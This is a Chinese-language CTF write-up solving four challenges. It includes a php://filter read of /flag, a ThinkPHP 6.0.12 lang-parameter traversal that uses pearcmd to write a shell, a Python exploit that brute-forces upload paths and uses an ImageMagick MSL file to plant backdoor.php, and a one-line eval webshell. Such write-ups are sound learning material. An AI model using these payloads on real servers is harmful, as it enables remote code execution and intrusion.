qiandao
简单的文件包含
提示说了flag在根目录下 ,直接利用php://filter 伪协议读文件
?file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=/flag
ez_tp
ThinkPHP V6.0.12LTS
QVD-2022-46174
开启了多语言功能, 且存在 pear 扩展 , 通过lang参数和目录穿越实现文件包含
public/index.php?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcm
d&/<?=phpinfo()?>+/var/www/html/shell.php
ez_php
官方给的wp
exp:
from time import sleep
import requests
def burpPNG():
url = "http://127.0.0.1:8081/"
session = requests.session()
file = {'file': ('./backdoor.png', open('./backdoor.png', 'rb'))}
session.post(url=url, files=file)
for i in range(10000, 100000):
response = session.get(f'{url}/{i}.png')
if response.status_code == 200:
print(f'上传的png图片:{url}{i}.png')
break
return i
def burpMSL():
url = "http://127.0.0.1:8081/"
for i in range(1000, 10000):
session = requests.session()
response = session.get(f'{url}{i}.msl')
if response.status_code == 200:
print(f'上传的msl文件:{url}{i}.msl')
break
return i
def create_mslfile(fileNum):
url = "http://127.0.0.1:8081/"
session = requests.session()
content = f'''
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="./{fileNum}.png" />
<write filename="./backdoor.php" />
</image>
'''
with open("backdoor.msl",'w') as file:
file.write(content)
file.close()
file = {'file': ('./backdoor.msl', open('./backdoor.msl', 'rb'))}
session.post(url=url, files=file)
def getShell(fileNum):
content=f'''
为避免服务器误判为攻击,尝试访问如下地址:
http://127.0.0.1:8081/?backdoor=msl:./{fileNum}.msl
然后getshell地址为:
http://127.0.0.1:8081/backdoor.php?a=xxxxx
'''
print(content)
if __name__ == '__main__':
fileNUM=burpPNG()
create_mslfile(fileNUM)
mslNum=burpMSL()
getShell(mslNum)
(环境崩了, 打不开, 分析一下代码作为复现了)
上传图片, 但是题目不会回显出上传的文件的路劲, 需要去爆破
为什么是 for i in range(10000, 100000): 应该是一般的上传文件的处理, 对上传的文件使用 随机数 进行重命名, 所以根据这个来爆破出文件路径
同理对上传的 msl文件 进行爆破路径
msl⽂件的写法:
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="./{fileNum}.png" />
<write filename="./backdoor.php" />
</image>
将爆破得到 的png图片的路径 里面的内容写入到 backdoor.php
(可以理解为改了个后缀, 以便能够执行 php代码 , 执行所想要的命令)
png图片里面的内容 应该就是一句话木马了(如果会做一些内容检查的话 ,应该就是一些常规的绕过了)
<?php @eval($_POST['cmd']);?>
signin
给了提示: twinhex
搜索一下可以发现是一种加密方式
https://github.com/htr-tech/0xTwin
有相应的工具
下载运行
python twin_cipher.py -d “文件给的一长串字符”
运行后是一串base64密文 , 是由一张图片转成的base64
将base64转成图片可以得到一张二维码. 扫描之后 : 请发送 WKCTF2024 到微信公众号隐雾安全获取flag!
最后得到的flag: WKCTF{hello_2024}